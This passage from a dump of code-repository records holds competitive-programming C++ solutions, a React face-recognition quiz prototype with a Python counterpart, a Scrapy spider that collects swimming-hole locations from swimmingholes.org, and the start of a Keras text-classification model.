"no_license", "max_line_length": 54, "num_lines": 62, "path": "/COJ/eliogovea-cojAC/eliogovea-p1847-Accepted-s547473.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<cmath>\r\n#include<algorithm>\r\n#define MAXN\r\nusing namespace std;\r\n\r\nstruct point{\r\n int ind,x,y;\r\n bool operator<(const point &A)const\r\n {\r\n return (x!=A.x)?(x<A.x):(y<A.y);\r\n }\r\n};\r\n\r\ndouble dist(point &A, point &B)\r\n{\r\n\treturn sqrt((A.x-B.x)*(A.x-B.x)+(A.y-B.y)*(A.y-B.y));\r\n}\r\n\r\nint n,a,b;\r\ndouble min_dist=1e10;\r\n\r\nvector<point> P;\r\n\r\nvoid find_min(int lo, int hi)\r\n{\r\n\tif(lo>=hi)return;\r\n\r\n\tint\tmid=(lo+hi)>>1;\r\n\r\n\tfind_min(lo,mid);\r\n\tfind_min(mid+1,hi);\r\n\r\n\twhile(P[mid].x-P[lo].x >= min_dist)lo++;\r\n\twhile(P[hi].x-P[mid].x >= min_dist)hi--;\r\n\r\n\tfor(int i=lo; i<hi; i++)\r\n\t\tfor(int j=i+1; j<=hi; j++)\r\n\t\t\tif(min_dist > dist(P[i],P[j]))\r\n\t\t\t{\r\n\t\t\t\tmin_dist = dist(P[i],P[j]);\r\n\t\t\t\ta=P[i].ind;\r\n\t\t\t\tb=P[j].ind;\r\n\t\t\t}\r\n}\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d\",&n);\r\n\tP.resize(n);\r\n\r\n\tfor(int i=0; i<n; i++)\r\n\t{\r\n\t\tP[i].ind=i+1;\r\n\t\tscanf(\"%d%d\",&P[i].x,&P[i].y);\r\n\t}\r\n\tsort(P.begin(),P.end());\r\n\tfind_min(0,n-1);\r\n\tif(a>b)swap(a,b);\r\n\tprintf(\"%d %d\\n\",a,b);\r\n}\r\n" }, { "alpha_fraction": 0.3882978856563568, "alphanum_fraction": 0.41223403811454773, "avg_line_length": 17.789474487304688, "blob_id": "f6f376fadf9ae0ca4d36810208ffaba44ac027a0", "content_id": "079919efc37cbb5077c34dc4c212b6fb1d273d75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 376, "license_type": "no_license", "max_line_length": 56, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p2608-Accepted-s582478.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\ntypedef long long ll;\r\n\r\nll f(ll n)\r\n{\r\n ll res = (n & 1ll);\r\n\tfor (ll i = 1ll, aux = res; ll(1ll << i) <= n; i++)\r\n\t\tif (n & ll(1ll << i))\r\n res += i * (1ll << ll(i - 1ll)) + aux + 1ll,\r\n aux |= ll(1ll << i);\r\n\treturn res;\r\n}\r\nll a, b;\r\nint main()\r\n{\r\n scanf(\"%lld%lld\", &a, &b);\r\n printf(\"%lld\\n\", f(b) - f(a - 1ll));\r\n}\r\n" }, { "alpha_fraction": 0.41904762387275696, "alphanum_fraction": 0.4412698447704315, "avg_line_length": 15.5, "blob_id": "59d75059f1fbb546564723bd221c6b668d38ad2a", "content_id": "05ebe1a35f907d570d1dc857b3367f43302d09f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 315, "license_type": "no_license", "max_line_length": 47, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p2732-Accepted-s587740.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nint n;\r\nchar str[1000010];\r\n\r\nint main()\r\n{\r\n\tfor (scanf(\"%d\", &n); n--;)\r\n\t{\r\n\t\tscanf(\"%s\", str);\r\n\t\tfor (char *p = str; *p; p++)\r\n\t\t\tif (*p <= 'Z') printf(\"%c\", *p - 'A' + 'a');\r\n\t\t\telse printf(\"%c\", *p - 'a' + 'A');\r\n printf(\"\\n\");\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3395683467388153, "alphanum_fraction": 0.3715827465057373, "avg_line_length": 16.05194854736328, "blob_id": "44154396235fa6fb875b9c1d660c37a104760287", "content_id": "62857361d08a19343853e6219678651fe3fe28d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2780, "license_type": "no_license", "max_line_length": 55, "num_lines": 154, "path": "/COJ/eliogovea-cojAC/eliogovea-p3751-Accepted-s1042041.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 200005;\r\nconst int ALPH = 256;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\ninline int power(int x, int n) {\r\n\tint res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = mul(res, x);\r\n\t\t}\r\n\t\tx = mul(x, x);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nconst int INV2 = power(2, MOD - 2);\r\n\r\ninline int c2(int n) {\r\n\tif (n < 2) {\r\n\t\treturn 0;\r\n\t}\r\n\treturn mul(n, mul(n - 1, INV2));\r\n}\r\n\r\nint tc;\r\nint k;\r\nint n;\r\nstring s;\r\nint p[MAXN], pn[MAXN], c[MAXN], cn[MAXN];\r\nint cnt[ALPH];\r\nint lcp[MAXN], pos[MAXN];\r\n\r\nvoid BuildSuffixArray() {\r\n\tn++;\r\n\tfor (int i = 0; i < ALPH; i++) {\r\n\t\tcnt[i] = 0;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcnt[s[i]]++;\r\n\t}\r\n\tfor (int i = 1; i < ALPH; i++) {\r\n\t\tcnt[i] += cnt[i - 1];\r\n\t}\r\n\tfor (int i = n - 1; i >= 0; i--) {\r\n\t\tp[--cnt[s[i]]] = i;\r\n\t}\r\n\tc[p[0]] = 0;\r\n\tint classes = 1;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tif (s[p[i]] != s[p[i - 1]]) {\r\n\t\t\tclasses++;\r\n\t\t}\r\n\t\tc[p[i]] = classes - 1;\r\n\t}\r\n\tfor (int h = 0; (1 << h) < n; h++) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tpn[i] = p[i] - (1 << h);\r\n\t\t\tif (pn[i] < 0) {\r\n\t\t\t\tpn[i] += n;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 0; i < classes; i++) {\r\n\t\t\tcnt[i] = 0;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcnt[c[pn[i]]]++;\r\n\t\t}\r\n\t\tfor (int i = 1; i < classes; i++) {\r\n\t\t\tcnt[i] += cnt[i - 1];\r\n\t\t}\r\n\t\tfor (int i = n - 1; i >= 0; i--) {\r\n\t\t\tp[--cnt[c[pn[i]]]] = pn[i];\r\n\t\t}\r\n\t\tcn[p[0]] = 0;\r\n\t\tclasses = 1;\r\n\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\tint mid1 = (p[i] + (1 << h)) % n;\r\n\t\t\tint mid2 = (p[i - 1] + (1 << h)) % n;\r\n\t\t\tif (c[p[i]] != c[p[i - 1]] || c[mid1] != c[mid2]) {\r\n\t\t\t\tclasses++;\r\n\t\t\t}\r\n\t\t\tcn[p[i]] = classes - 1;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tc[i] = cn[i];\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tp[i - 1] = p[i];\r\n\t}\r\n\tn--;\r\n}\r\n\r\nvoid BuildLCP() {\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tpos[p[i]] = i;\r\n\t}\r\n\tint k = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (k > 0) {\r\n\t\t\tk--;\r\n\t\t}\r\n\t\tif (pos[i] == 0) {\r\n\t\t\tlcp[0] = 0;\r\n\t\t\tk = 0;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tint j = p[pos[i] - 1];\r\n\t\twhile (s[i + k] == s[j + k]) {\r\n\t\t\tk++;\r\n\t\t}\r\n\t\tlcp[pos[i]] = k;\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> tc;\r\n\tfor (int cas = 1; cas <= tc; cas++) {\r\n\t\tcin >> s >> k;\r\n\t\tn = s.size();\r\n\t\tBuildSuffixArray();\r\n\t\tBuildLCP();\r\n int ans = 0;\r\n for (int i = 0, c = 0; i <= n; i++) {\r\n if (i == n || lcp[i] < k || c < 0) {\r\n add(ans, c2(c));\r\n c = n - p[i] - (k - 1);\r\n } else {\r\n add(c, n - p[i] - (k - 1));\r\n }\r\n }\r\n\r\n cout << \"Case #\" << cas << \": \" << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3687002658843994, "alphanum_fraction": 0.3978779911994934, "avg_line_length": 13.079999923706055, "blob_id": "ed0fb46962194f68e68daf9fda863ca6510438f0", "content_id": "7bfa409cde1d0783d89488cc4494f2b7530f0ead", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 377, "license_type": "no_license", "max_line_length": 40, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p1815-Accepted-s552950.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXN 1000001\r\n\r\nint n,q,aux;\r\nbool dp[MAXN];\r\n\r\nint main()\r\n{\r\n\tdp[0] = 1;\r\n\r\n\tscanf( \"%d\", &n );\r\n\r\n\tfor( int i = 1; i <= n; i++ )\r\n\t{\r\n\t\tscanf( \"%d\", &aux );\r\n\t\tfor( int j = MAXN - 1; j >= aux; j-- )\r\n dp[j] |= dp[j-aux];\r\n\t}\r\n\r\n\tfor( scanf( \"%d\", &q ); q--; )\r\n\t{\r\n\t\tscanf( \"%d\", &aux );\r\n\t\tprintf( \"%s\\n\", dp[aux]?\"YES\":\"NO\" );\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.38990065455436707, "alphanum_fraction": 0.443708598613739, "avg_line_length": 15.547945022583008, "blob_id": "1d0c96e01b3ab1cc25a76ac2470fa8b72596fce3", "content_id": "f8b145366a51cd1321e1d77a9053a3cb67c935f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1208, "license_type": "no_license", "max_line_length": 54, "num_lines": 73, "path": "/Codeforces-Gym/101047 - 2015 USP Try-outs/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 USP Try-outs\n// 101047C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int sz = 3;\n\nstruct matrix {\n\tdouble v[sz + 1][sz + 1];\n\tmatrix(double v0) {\n\t\tfor (int i = 0; i < sz; i++) {\n\t\t\tfor (int j = 0; j < sz; j++) {\n\t\t\t\tv[i][j] = 0;\n\t\t\t}\n\t\t\tv[i][i] = v0;\n\t\t}\n\t}\n};\n\nmatrix operator * (const matrix &a, const matrix &b) {\n\tmatrix res(0);\n\tfor (int i = 0; i < sz; i++) {\n\t\tfor (int j = 0; j < sz; j++) {\n\t\t\tfor (int k = 0; k < sz; k++) {\n\t\t\t\tres.v[i][j] += a.v[i][k] * b.v[k][j];\n\t\t\t}\n\t\t}\n\t}\n\treturn res;\n}\n\nmatrix power(matrix x, int n) {\n\tmatrix res(1);\n\twhile (n) {\n\t\tif (n & 1) {\n\t\t\tres = res * x;\n\t\t}\n\t\tx = x * x;\n\t\tn >>= 1;\n\t}\n\treturn res;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(11);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tdouble a, l;\n\t\tint n;\n\t\tcin >> a >> l >> n;\n\t\ta = a * M_PI / 180.0;\n\t\tmatrix M(0);\n\t\tM.v[0][0] = cos(a);\n\t\tM.v[0][1] = -sin(a);\n\t\tM.v[0][2] = 1.0;\n\t\tM.v[1][0] = sin(a);\n\t\tM.v[1][1] = cos(a);\n\t\tM.v[1][2] = 0.0;\n\t\tM.v[2][0] = 0.0;\n\t\tM.v[2][1] = 0.0;\n\t\tM.v[2][2] = 1.0;\n\t\tM = power(M, n);\n\t\tdouble x = M.v[0][2] * l;\n\t\tdouble y = M.v[1][2] * l;\n\t\tcout << fixed << x << \" \" << fixed << y << \"\\n\";\n\t}\n}\n" } ]
1,674
KarenKGuo/Flashback-Prototype
https://github.com/KarenKGuo/Flashback-Prototype
a8dbceeec2c2faac6dbdae618590a25b010dcd49
644375fb8930336ef002d61d04fc72a5ff9236f6
873bd41ac1c1bb98f74893c39a4ec07d4aa363c8
refs/heads/master
2023-04-11T11:47:28.778631
2021-04-20T18:09:39
2021-04-20T18:09:39
253,107,220
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5472656488418579, "alphanum_fraction": 0.551953136920929, "avg_line_length": 34.56944274902344, "blob_id": "cb215bd80223ce8acb6c605974eeeea984cb5eaa", "content_id": "8450ac2f38acf10a9f75390c526a5350f6b3618b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2560, "license_type": "no_license", "max_line_length": 201, "num_lines": 72, "path": "/counter-app/src/components/questions.jsx", "repo_name": "KarenKGuo/Flashback-Prototype", "src_encoding": "UTF-8", "text": "import { render } from '@testing-library/react';\nimport React, { Component } from 'react';\n\nclass Question extends Component{\n state = {\n people: {'Jenny':'','Jackie':'','Sydney':'','Lisa':'','Robert':'','Mark':'','Tom':''},\n className: 'btn btn-outline-info'\n };\n constructor(){\n super();\n this.createQuestion.bind(this);\n this.processChoice.bind(this);\n }\n processChoice= (choice) =>{\n if (choice===this.props.value){\n this.setState({className:'btn btn-success'});\n }else{\n this.setState({className:'btn btn-danger'});\n }\n }\n\n shuffle(array) {\n var currentIndex = array.length, temporaryValue, randomIndex;\n \n // While there remain elements to shuffle...\n while (0 !== currentIndex) {\n \n // Pick a remaining element...\n randomIndex = Math.floor(Math.random() * currentIndex);\n currentIndex -= 1;\n \n // And swap it with the current element.\n temporaryValue = array[currentIndex];\n array[currentIndex] = array[randomIndex];\n array[randomIndex] = temporaryValue;\n }\n \n return array;\n }\n\n createQuestion(){\n let quizoptions = [this.props.value];\n let listofnames = Object.keys(this.state.people)\n let currentName = listofnames.indexOf(this.props.value);\n if (currentName > -1) {\n listofnames.splice(currentName, 1);\n }\n for (let i=0; i < 4; i++) {\n let randomPerson = listofnames[Math.floor(Math.random()*listofnames.length)];\n quizoptions.push(randomPerson);\n let usedName = listofnames.indexOf(randomPerson)\n if (usedName > -1) {\n listofnames.splice(usedName, 1);\n }\n }\n quizoptions = this.shuffle(quizoptions)\n return(\n <div class=\"card w-75\">\n <img class=\"card-img-top\" src={this.props.img} alt=\"Card image cap\"></img>\n <div class=\"card-body btn-group-vertical\">\n <h5 class=\"card-title\">Who is this?</h5>\n {quizoptions.map(option => <button onclick={(option)=> this.processChoice()} className={this.state.className} data-toggle=\"buttons\" autocomplete=\"off\" key = {option}>{option}</button>)}\n {/* {(option)=>this.props.onAnswer(option,this.props.id)}*/}\n </div>\n </div>);} \n\n render(){\n return(this.createQuestion());\n }\n\n}\nexport default Question;" }, { "alpha_fraction": 0.6272661089897156, "alphanum_fraction": 0.6287164688110352, "avg_line_length": 37.33333206176758, "blob_id": "504ece10c71d74dfd3e84dfa3253e668ef5f9473", "content_id": "ff5a99d2d78246ee1e753c0f54a365d7385e38b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1379, "license_type": "no_license", "max_line_length": 146, "num_lines": 36, "path": "/Quiz.py", "repo_name": "KarenKGuo/Flashback-Prototype", "src_encoding": "UTF-8", "text": "import time\ntraits = []\nhint = [\"hint\", \"a hint\", \"Hint\", \"A hint\", \"A Hint\"]\nanswer = [\"answer\", \"an answer\", \"Answer\", \"the answer\", \"The Answer\"]\n\nadd_trait = [\"add\", \"add person\", \"add trait\", \"add traits\", \"adding traits\", \"adding trait\"]\nrecognize_person = [\"recognize person\", \"person\", \"camera\"]\n\ntrait_test = input(\"Do you want to add or recognize a person?\")\nif trait_test in add_trait: \n person_name = input(\"Name of Person:\")\n print(\"This person is: \" + person_name)\n \n time.sleep(3)\n\n n = int(input(\"How many traits will you be adding?\"))\n \n for i in range(0, n): \n trait = input(\"Enter personality traits about the person (ideally we would want our model to be able to tell the physical ones): \") \n traits.append(trait)\n\nelif trait_test in recognize_person:\n person_test = input(\"Who do you think this is?\")\n if person_test == person_name:\n print(\"Good job! You were correct!\")\n else:\n hint_answer = input(\"Good effort, but you were incorrect. Would you like a hint or the answer? (We would probably have buttons for this)\")\n if hint_answer in hint:\n print(\"I did not have enough time to finish this\") \n elif hint_answer in answer:\n print(\"I didn't have enough time to finish this\")\n else:\n print(\"ok then\")\n\nelse:\n print(\"not an option whoopsie\")" }, { "alpha_fraction": 0.5211529731750488, "alphanum_fraction": 0.6122733354568481, "avg_line_length": 47.8863639831543, "blob_id": "17069293cbf8c322cfd167b89c58d739ff3dd72c", "content_id": "4f6ce299761c843b809cec0d5eef9ebef9c7c2aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2151, "license_type": "no_license", "max_line_length": 204, "num_lines": 44, "path": "/counter-app/src/components/quiz.jsx", "repo_name": "KarenKGuo/Flashback-Prototype", "src_encoding": "UTF-8", "text": "import React, { Component } from 'react';\nimport Question from './questions';\n\nclass Quiz extends Component{\n state = {\n asks: ['Who is this?'],\n people: {'Jenny':{},'Jackie':{},'Sydney':{},'Lisa':{},'Robert':{},'Mark':{},'Tom':{}},\n count: 0,\n questions: [{id: 0, value:'Jenny', img:'https://media3.s-nbcnews.com/i/newscms/2021_07/2233721/171120-smile-stock-njs-333p_8584129ff92611cc2938990b1405b0ce.jpg', answer: true}, \n {id: 1, value:'Sydney', img:'https://images.unsplash.com/photo-1542103749-8ef59b94f47e?ixid=MXwxMjA3fDB8MHxzZWFyY2h8Mnx8cGVyc29ufGVufDB8fDB8&ixlib=rb-1.2.1&w=1000&q=80', answer: true},\n {id: 2, value:'Robert',img:'https://st.depositphotos.com/1269204/1219/i/600/depositphotos_12196477-stock-photo-smiling-men-isolated-on-the.jpg', answer:true},\n {id: 3, value:'Lisa', img:'https://media3.s-nbcnews.com/i/newscms/2021_07/2233721/171120-smile-stock-njs-333p_8584129ff92611cc2938990b1405b0ce.jpg', answer: true}, \n {id: 4, value:'Tom', img:'https://images.unsplash.com/photo-1542103749-8ef59b94f47e?ixid=MXwxMjA3fDB8MHxzZWFyY2h8Mnx8cGVyc29ufGVufDB8fDB8&ixlib=rb-1.2.1&w=1000&q=80', answer: true}]\n };\n\n updateCount = (choice, questionId) =>{\n if (choice===this.state.questions[questionId].value){\n this.setState({questions: this.state.questions[questionId].answer=true})\n }\n }\n\n showCorrect=()=>{\n for(let question in this.state.questions){\n if(question.answer===true){\n this.setState({count:this.state.count+1})\n }\n }\n }\n\n render(){\n return(\n <div>\n <h1>{this.state.count}{this.state.questions[0].value}</h1>\n <div class=\"card-deck\">\n {this.state.questions.map(question => <Question key={question.id} value={question.value} img ={question.img} onAnswer = {this.updateCount}/>)}\n </div>\n <button onclick ={this.showCorrect} className ='btn btn-info btn-lg'>See Correct Answer</button>\n </div>\n\n\n );\n } \n}\nexport default Quiz;\n" }, { "alpha_fraction": 0.7639999985694885, "alphanum_fraction": 0.7639999985694885, "avg_line_length": 48.900001525878906, "blob_id": "1027dae6e6746741230dc73813c377216cd77d03", "content_id": "9a35586cac063a5187aaebaf59ac27ee20472261", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 500, "license_type": "no_license", "max_line_length": 101, "num_lines": 10, "path": "/README.md", "repo_name": "KarenKGuo/Flashback-Prototype", "src_encoding": "UTF-8", "text": "# InventionStudioMemory\n# also I have a template for website prototype\n# We will be working on getting everyone a Github and figuring out how to get code onto your computer\n\n# Begin by clicking the clone button on the top right\n# Copy the link displayed to your clipboard, and open terminal\n\n# In terminal, \"cd\" into a folder that you would like your code to be in\n# When in the folder, type the command, \"git clone (copy paste the url here)\"\n# Check to make sure that the file is now in the folder\n\n" } ]
4
amahon/adventure-mapping
https://github.com/amahon/adventure-mapping
db71dc7f01435c3d0bd4264c8e8738fd0a5a7656
99a39ffda1fe61129692af4fa1305ad528cd6ed0
edb3f74871d5489b5c6e803322b1140b717b72b3
refs/heads/master
2020-05-19T14:24:12.188215
2014-08-04T17:08:23
2014-08-04T17:08:23
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4929077923297882, "alphanum_fraction": 0.4955673813819885, "avg_line_length": 39.77108383178711, "blob_id": "65bba2bafc233dc030e2e93367128799e45c75e4", "content_id": "6a1e315965d310d15f5476e457f1a0e601654c4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3384, "license_type": "no_license", "max_line_length": 95, "num_lines": 83, "path": "/swimmingholes/swimmingholes/spiders/swimmingholesorg.py", "repo_name": "amahon/adventure-mapping", "src_encoding": "UTF-8", "text": "import re\nfrom urlparse import urlparse\n\nfrom bs4 import BeautifulSoup\nimport scrapy\n\nfrom swimmingholes.items import SwimmingHole\n\nclass SwimmingholesSpider(scrapy.Spider):\n name = 'swimmingholesorg'\n allowed_domains = [\n 'swimmingholes.org',\n ]\n start_urls = [\n 'http://www.swimmingholes.org/vt.html',\n ]\n\n def parse(self, response):\n for table_sel in response.xpath('//*[@id=\"width\"]/tbody/tr/td/table'):\n \n # making soup from a table\n table_soup = BeautifulSoup(table_sel.extract())\n\n\n # let's extract the primary name\n # we'll just xpath because it's pretty well defined\n name_extract = table_sel.xpath('tbody/tr[1]/th/h3[1]/font/text()').extract()\n if not len(name_extract):\n continue\n name = name_extract[0].strip()\n\n metadata_dict = {}\n\n for tr_sel in table_sel.xpath('tbody/tr'):\n th_extract = tr_sel.xpath('th/text()').extract()\n if not len(th_extract):\n continue\n key_name = th_extract[0].strip().lower().replace('\\n','').replace(' ','')\n if not len(key_name):\n continue\n if key_name == 'lat,lon':\n continue\n metadata_dict[key_name] = ''.join(tr_sel.xpath('td//text()').extract())\\\n .strip()\\\n .replace('\\t','')\\\n .replace('\\n','')\n\n # let's extract the swimming hole locations\n # associate the metadata\n # and save the SwimmingHole Items\n # we're searching through the soup because our data is not well structured\n google_maps_links = table_soup.find_all('a', text=re.compile('Link to Google Map'))\n if not(len(google_maps_links)):\n continue\n if len(google_maps_links) == 1:\n my_item = SwimmingHole()\n my_item.update(metadata_dict)\n my_item['name'] = name\n my_item['latlon'] = urlparse(google_maps_links[0]['href']).query\n yield my_item \n elif len(google_maps_links) > 1:\n for link in google_maps_links:\n my_name = link.find_previous_sibling('font')\n if not(my_name):\n my_name = link.parent.find_previous_sibling('font')\n if not(my_name):\n print(name)\n continue\n row_header = link.parent.parent.parent.parent.find('th')\n if row_header:\n replace_field = row_header.find(text=True).lower().strip()\n if not replace_field or not len(replace_field):\n replace_field = 'directions'\n my_descriptive = my_name.next_sibling\n if not hasattr(my_name, 'text'):\n print (name)\n my_item = SwimmingHole()\n my_item.update(metadata_dict)\n my_item['parent_name'] = name\n my_item['name'] = my_name.text\n my_name[replace_field] = my_descriptive\n my_item['latlon'] = urlparse(link['href']).query\n yield my_item\n" }, { "alpha_fraction": 0.4959016442298889, "alphanum_fraction": 0.6967213153839111, "avg_line_length": 15.266666412353516, "blob_id": "7d6df63873c42e2b17df0df213b1852375057248", "content_id": "0b04d3dbc28cc75312d894de70f08d0d647f2163", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 244, "license_type": "no_license", "max_line_length": 21, "num_lines": 15, "path": "/requirements.txt", "repo_name": "amahon/adventure-mapping", "src_encoding": "UTF-8", "text": "BeautifulSoup==3.2.1\nScrapy==0.24.2\nTwisted==14.0.0\nbeautifulsoup4==4.3.2\ncffi==0.8.6\ncryptography==0.5.2\ncssselect==0.9.1\nlxml==3.3.5\npyOpenSSL==0.14\npycparser==2.10\nqueuelib==1.2.2\nsix==1.7.3\nw3lib==1.8.0\nwsgiref==0.1.2\nzope.interface==4.1.1\n" }, { "alpha_fraction": 0.6050228476524353, "alphanum_fraction": 0.6141552329063416, "avg_line_length": 28.200000762939453, "blob_id": "3872caae772a87b2b9584cd7a2a3070cc9bd1fe2", "content_id": "8beb642412327984655a250ae8989956959c17e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 438, "license_type": "no_license", "max_line_length": 71, "num_lines": 15, "path": "/swimmingholes/swimmingholes/pipelines.py", "repo_name": "amahon/adventure-mapping", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\n\n\nclass LatLonPipeline(object):\n\n def process_item(self, item, spider):\n if 'latlon' in item:\n query = item['latlon'].split('q=')[1]\n item['latlon'] = [query.split('+')[0], query.split('+')[1]]\n return item\n" }, { "alpha_fraction": 0.6456494331359863, "alphanum_fraction": 0.6469104886054993, "avg_line_length": 23.75, "blob_id": "33db212583555d22e752a9dfcb0eb60e277192eb", "content_id": "7a9d9fd25d83292592f578d512557f004acd2080", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 793, "license_type": "no_license", "max_line_length": 51, "num_lines": 32, "path": "/swimmingholes/swimmingholes/items.py", "repo_name": "amahon/adventure-mapping", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Define here the models for your scraped items\n#\n# See documentation in:\n# http://doc.scrapy.org/en/latest/topics/items.html\n\nimport scrapy\n\n\nclass SwimmingHole(scrapy.Item):\n name = scrapy.Field()\n parent_name = scrapy.Field()\n latlon = scrapy.Field()\n\n activities = scrapy.Field()\n areas = scrapy.Field()\n bathingsuits = scrapy.Field()\n camping = scrapy.Field()\n confidence = scrapy.Field()\n dateupdated = scrapy.Field()\n description = scrapy.Field()\n directions = scrapy.Field()\n facilities = scrapy.Field()\n fee = scrapy.Field()\n phone = scrapy.Field()\n sanction = scrapy.Field()\n state = scrapy.Field()\n towns = scrapy.Field()\n type = scrapy.Field()\n verified = scrapy.Field()\n water = scrapy.Field()\n\n" }, { "alpha_fraction": 0.7365591526031494, "alphanum_fraction": 0.7526881694793701, "avg_line_length": 22.375, "blob_id": "e66ee55c75e100d0c7e8a80f5722c66539f14211", "content_id": "f6d820512b77762c31dd34184ffa850b6a552f51", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 186, "license_type": "no_license", "max_line_length": 50, "num_lines": 8, "path": "/swimmingholes/swimmingholes/settings.py", "repo_name": "amahon/adventure-mapping", "src_encoding": "UTF-8", "text": "BOT_NAME = 'swimmingholes'\n\nSPIDER_MODULES = ['swimmingholes.spiders']\nNEWSPIDER_MODULE = 'swimmingholes.spiders'\n\nITEM_PIPELINES = {\n 'swimmingholes.pipelines.LatLonPipeline': 300,\n}" } ]
5
WZ-ZXY/Big-Data-Analysis-Project
https://github.com/WZ-ZXY/Big-Data-Analysis-Project
9b19e13ae9836bb1c5867b1db70d67b1c800ed12
caa3c3545c9e0789842b987a5b4145a8d2102e37
ee61154f70c8538c34bab48b4b15811ed19e4017
refs/heads/main
2023-02-13T02:25:25.967692
2020-12-24T14:00:40
2020-12-24T14:00:40
324,168,010
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5709379315376282, "alphanum_fraction": 0.579920768737793, "avg_line_length": 37.591835021972656, "blob_id": "d242970fc1222c838e468830119ba9d30823265c", "content_id": "95acc397b47f75040a8d3350b617c2719509cade", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3785, "license_type": "no_license", "max_line_length": 112, "num_lines": 98, "path": "/model.py", "repo_name": "WZ-ZXY/Big-Data-Analysis-Project", "src_encoding": "UTF-8", "text": "# coding=utf-8\n\n\"\"\"\n@author: Zheng Wei\n@date: 7/15/2020\n\"\"\"\n\nfrom keras.optimizers import RMSprop\nfrom keras.models import Model\nfrom keras.layers import *\nfrom attention import Attention\nfrom utils import *\nfrom configuration import *\n\n\nclass NN:\n def __init__(self, embedding_weights, vocab_num):\n self.embedding = config['embedding']\n self.sequence_length = config['sequence_length']\n self.embedding_dim = config['embedding_dim']\n self.feature_dim = config['feature_dim']\n self.dropout_prob = config[\"dropout_prob\"]\n self.filter_sizes = config[\"filter_size\"]\n self.num_filters = config[\"num_filter\"]\n self.batch_size = config[\"batch_size\"]\n self.epoch = config[\"epoch\"]\n self.model_num = config[\"model_num\"]\n print(str(config))\n self.select_model(embedding_weights, vocab_num)\n\n def select_model(self, embedding_weights, vocab_num):\n if self.embedding != 1:\n input_shape = (self.sequence_length, self.embedding_dim)\n else:\n input_shape = (self.sequence_length,)\n\n model_input = Input(shape=input_shape)\n\n if self.embedding != 1:\n z = model_input\n else:\n z = Embedding(input_dim=vocab_num, output_dim=self.embedding_dim, input_length=self.sequence_length,\n name=\"embedding\")(model_input)\n print(z.shape)\n z = 